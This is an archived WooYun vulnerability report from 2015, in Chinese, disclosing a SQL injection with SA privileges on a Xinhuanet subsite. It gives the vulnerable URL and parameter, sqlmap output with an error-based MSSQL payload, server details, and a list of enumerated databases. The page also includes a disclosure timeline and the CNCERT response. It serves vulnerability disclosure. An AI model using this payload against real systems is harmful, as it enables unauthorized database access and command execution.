当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102017

漏洞标题:新华网某分站SQL注射(SA权限)

相关厂商:新华网

漏洞作者: 影刺

提交时间:2015-03-18 15:41

修复时间:2015-05-07 09:32

公开时间:2015-05-07 09:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-18: 细节已通知厂商并且等待厂商处理中
2015-03-23: 厂商已经确认,细节仅向厂商公开
2015-04-02: 细节向核心白帽子及相关领域专家公开
2015-04-12: 细节向普通白帽子公开
2015-04-22: 细节向实习白帽子公开
2015-05-07: 细节向公众公开

简要描述:

详细说明:

新华网某分站SA权限注射,站库分离,SA权限,可执行系统命令。
地址:http://mis.xinhuanet.com/sxtv2/index/inc/info/info.asp?tid={9E563755-C612-4ECF-A390-B9574DBFB604}

GET parameter 'tid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n 
sqlmap identified the following injection points with a total of 57 HTTP(s) requests: ---
Place: GET Parameter: tid Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: tid={9E563755-C612-4ECF-A390-B9574DBFB604}' AND 7651=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(103)+CHAR(105)+CHAR(113)+(SELECT (CASE WHEN (7651=7651) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(99)+CHAR(100)+CHAR(100)+CHAR(113))) AND 'yMsb'='yMsb ---
[04:35:01] [INFO] testing Microsoft SQL Server
[04:35:02] [INFO] confirming Microsoft SQL Server
[04:35:04] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2003 or XP web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: Microsoft SQL Server 2008


数据库列表:

[04:43:22] [INFO] the SQL query used returns 12 entries 
[04:43:25] [INFO] retrieved: fininfo [04:43:25] [INFO] retrieved: macro_data [04:43:29] [INFO] retrieved: master [04:43:33] [INFO] retrieved: model
[04:43:33] [INFO] retrieved: msdb
[04:43:33] [INFO] retrieved: oa
[04:43:34] [INFO] retrieved: Port_XH [04:43:34] [INFO] retrieved: ReportServer [04:43:34] [INFO] retrieved: ReportServerTempDB
[04:43:35] [INFO] retrieved: shuju
[04:43:35] [INFO] retrieved: tempdb
[04:43:36] [INFO] retrieved: xhs available databases
[12]:
[*] fininfo
[*] macro_data
[*] master
[*] model
[*] msdb
[*] oa
[*] Port_XH
[*] ReportServer
[*] ReportServerTempDB
[*] shuju
[*] tempdb
[*] xhs


新华网sql2.jpg

新华网数据库.png


执行命令:

新华网sql4.jpg

漏洞证明:

新华网sql2.jpg

新华网数据库.png


执行命令:

新华网sql4.jpg

修复方案:

过滤

版权声明:转载请注明来源 影刺@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-03-23 09:31

厂商回复:

CNVD确认所述情况,已转由CNCERT向相关部门通报。

最新状态:

暂无